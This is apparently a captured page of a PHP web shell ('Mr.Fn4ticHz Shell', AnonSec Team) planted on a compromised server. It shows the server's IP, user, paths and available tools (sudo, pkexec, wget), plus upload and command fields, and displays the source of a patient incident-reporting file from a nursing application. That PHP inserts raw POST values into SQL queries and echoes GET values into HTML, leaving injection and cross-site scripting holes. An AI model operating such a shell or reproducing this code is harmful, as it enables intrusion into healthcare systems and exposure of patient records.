Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.116.49.144
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/NewNurse/Patient/ReportingError.php
<?php
if(@isset($_POST['ReportingErrorva']))

	{
	$updated_at=date("Y-m-d");
$created_at=date("F d, Y / h:i:s A");

	 $CheckPatient = $con->query("SELECT * FROM ReportingError WHERE prescriptionid = '$_POST[prescriptionid]' AND patientid = '$_POST[patientid]' AND ReportingError='$_POST[ReportingError]' AND ReportingError_Native='$_POST[ReportingError_Native]' AND ReportingError_Corrective='$_POST[ReportingError_Corrective]'");
$numSU=mysqli_num_rows($CheckPatient);
if($numSU > 0){
        echo "<script>alert('Already Exists');</script>";
    }else{ 
	
	

$DelayIn=$con->query("INSERT INTO ReportingError(id,prescriptionid,patientid,ReportingError,ReportingError_Native,ReportingError_Corrective,entered_by,created_at,updated_at) VALUES (NULL,'$_POST[prescriptionid]','$_POST[patientid]','$_POST[ReportingError]','$_POST[ReportingError_Native]','$_POST[ReportingError_Corrective]','$_POST[entered_by]','$created_at','$updated_at')");
$last_id = mysqli_insert_id($con);

$save_activity=$con->query("INSERT INTO save_activity(srno,userno,prescriptionid,discription,entered_by,link,created_at,updated_at) VALUES (NULL, '$_POST[patientid]','$_POST[prescriptionid]','Incident Report<br>Reporting Error','$_POST[entered_by]','showReportingError.php?prescriptionid=$_POST[prescriptionid]&patientid=$_POST[patientid]&id=$last_id','$created_at','$updated_at')");

if($DelayIn){
echo "<script>alert('Reporting Error Add successfully..');</script><script>window.history.go(-1)</script>;</script>";  
}
}
	 }

?>




  <body>
      
           	<h3><i class="fa fa-angle-right"></i> &nbsp; &nbsp; Reporting Error </h3>
           	
           	<form name="ReportingErrorva" method="post">
           	    
           	<input type='hidden' name='entered_by' value='<?php echo $entered_by; ?>'>
<input type='hidden' name='patientid' value='<?php echo $_GET['patientid']; ?>'>
<input type='hidden' name='prescriptionid' value='<?php echo $_GET['prescriptionid']; ?>'>      
           	    
           	   <table class='table table-hover table-bordered'>
           	      <tr>
           	          <td>  <label for="address">Reporting Error </label></td>
           	          <td>   <select name="ReportingError" class='form-control'>
              <option value="" disabled selected>Reporting Error </option>
             <option value="Requisition Error">Requisition Error </option>
<option value="Incorrect Report">Incorrect Report  </option>
<option value="Report Lost">Report Lost  </option>
<option value="Report Unavailable">Report Unavailable   </option>
<option value="Dispatching Error">Dispatching Error   </option>
        </select></td>
           	      </tr>
           	      
           	      <tr>
           	          <td> <label>Native description of Occurrence</label></td>
           	          <td>  <input type="text" name="ReportingError_Native" placeholder="Native description of Occurrence" class='form-control'></td>
           	      </tr>
           	      
           	      
           	      <tr>
           	          <td><label>Corrective And Preventive Action Taken</label></td>
           	          <td><input type="text" name="ReportingError_Corrective" placeholder="Corrective And Preventive Action Taken" class='form-control'></td>
           	      </tr>
           	      
           	      
           	      <tr>
           	          <td colspan='2'> <button style="float: right;"  name="ReportingErrorva" type="submit" class='btn btn-success'> Save</button></td>
           	      </tr>
           	      
           	  </table>
           	    
           	   
           
       
      
         
        
        <br>
           <br>
              <br>
   
        
</form>
          

Anon7 - 2022
AnonSec Team